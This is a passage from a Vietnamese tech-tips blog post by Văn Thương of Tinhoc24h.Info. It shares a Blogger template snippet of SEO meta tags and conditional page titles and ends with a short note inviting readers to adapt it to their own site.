<meta content='thu thuat pc, thủ thuật pc, thủ thuật máy tính, pc tips,phan mem, huong dan su dung, tai phan mem, download phan mem, software, download software, free download, thủ thuật blogger,wordpress,internet download manager, and more... ' name='Keywords'/>
<meta content='global' name='distribution'/>
<meta content='1 days' name='revisit'/>
<meta content='1 days' name='revisit-after'/>
<meta content='document' name='resource-type'/>
<meta content='all' name='audience'/>
<meta content='general' name='rating'/>
<meta content='index, follow' name='robots'/>
<meta content='Nguyen Van thuong' name='author'/>
<meta content='Vietnamese, English' name='language'/>
<meta content='Vietnam' name='country'/>
<meta content='Phan mem mien phi' name='generator'/>
<b:else/>
<b:if cond='data:blog.pageType == &quot;archive&quot;'>
<title><data:blog.title/> - Thủ Thuật PC, PC tips</title>
<meta content='Tinhoc24h.Info là website chia sẻ thủ thuật máy tính, thủ thuật pc, kinh nghiệm sử dụng máy tính, kiến thức tin học căn bản,pc tips,tải phần mềm miễn phí,free download...' name='Description'/>
<meta content='thu thuat pc, thủ thuật pc, thủ thuật máy tính, pc tips,phan mem, huong dan su dung, tai phan mem, download phan mem, software, download software, free download, thủ thuật blogger,wordpress,internet download manager, and more... ' name='Keywords'/>
<b:else/>
<b:if cond='data:blog.pageType == &quot;item&quot;'><title><data:blog.pageName/> - Thủ Thuật PC, PC tips</title>
<meta expr:content='data:blog.pageName + &quot; thu thuat pc, thủ thuật pc, thủ thuật máy tính, pc tips, free download&quot;' name='Description'/>
<meta expr:content='&quot;Download &quot; + data:blog.pageName + &quot;, cập nhật &quot; + data:blog.pageName + &quot;, download software freeware shareware program &quot; + data:blog.pageTitle' name='Keywords'/>
<b:else/><title><data:blog.pageTitle/></title></b:if>
</b:if>
</b:if>
<!-- /end seo title by tinhoc24h.info-->
Sửa lại những chữ màu xanh cho phù hợp với web của bạn nhéMình viết bài không được hay mọi người thông cảm nhá! Hi vọng bài viết này có ích với bạn. Chúc các bạn thành công trong việc SEO và web ngày càng phát triển!
Văn Thương (Tinhoc24h.Info)
Girls Generation - Korean